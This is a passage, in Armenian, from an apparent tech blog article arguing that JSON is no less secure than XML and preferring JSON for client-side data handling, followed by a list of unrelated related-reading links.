Եթե ​​վերը նշված օրինակի պատասխանը կատարվի, այն կհանգեցնի, որ զննարկիչը կուղարկի օգտատիրոջ թխուկները երրորդ կողմի կայք: Բայց այս դեպքում անվտանգության սպառնալիքի սահմանման մեջ որոշակի շփոթություն կա։ Դուք չպետք է վստահեք չստուգված աղբյուրից ստացված տվյալներին կամ ծածկագրին: Եվ երկրորդը, մենք չենք կարողանա օգտագործել XMLHttpRequest՝ սկրիպտի սկզբնաղբյուր տիրույթից բացի այլ տիրույթների հետ շփվելու համար։ Այսպիսով, միայն իրենք՝ մշակողները, հավելված ստեղծելիս կարող են նախաձեռնել թխուկների ուղարկումը երրորդ կողմի կայք։ Սա բավականին կասկածելի է, քանի որ նրանք կարող էին նույնքան հեշտությամբ տեղադրել այս վնասակար ծածկագիրը փաստաթղթում սերվերից ուղարկված տվյալների պատասխանից դուրս: Միգուցե ես ինչ-որ բան բաց եմ թողնում, բայց իմաստ չեմ տեսնում JSON-ը XML-ի համեմատ անապահով համարելու մեջ:

Իմ ընտրությունը

Տեղեկատվության վրա հիմնված հավելվածների համար ես կնախընտրեի օգտագործել JSON-ը XML-ի փոխարեն՝ շնորհիվ իր պարզության և հաճախորդի կողմից տվյալների մշակման հեշտության: XML-ը կարող է անփոխարինելի լինել սերվերի վրա, բայց JSON-ը հաստատ ավելի հեշտ է աշխատել հաճախորդի հետ:

 

Կարող է օգտակար լինել կարդալ.

• DAIKIN օդորակիչների վերանայում, դրանց վերաբերյալ հրահանգներ և օգտագործողների ակնարկներ;
• JSON: Հիմունքներ;
• Բջջային կապ և ռոումինգ Թունիսում Ինչպես խնայել բջջային կապի վրա;
• Western Digital Red. հատուկ HDD-ներ ԳԱԱ-ի համար: Ո՞րն է տարբերությունը տարբեր գույների wd կոշտ սկավառակների միջև;
• Ինչպես միացնել ֆայլերի ընդարձակման ցուցադրումը;
• Փաստաթղթերի հիմնական տեսակները Word-ում;
• Ինչպես թարմացնել WhatsApp-ը nokia lumia-ում - Թարմացնել WhatsApp մեսենջերը Ինչպես թարմացնել WhatsApp-ը lumia 625-ում;
• Samsung Galaxy Note7 Exynos - Տեխնիկական պայմաններ;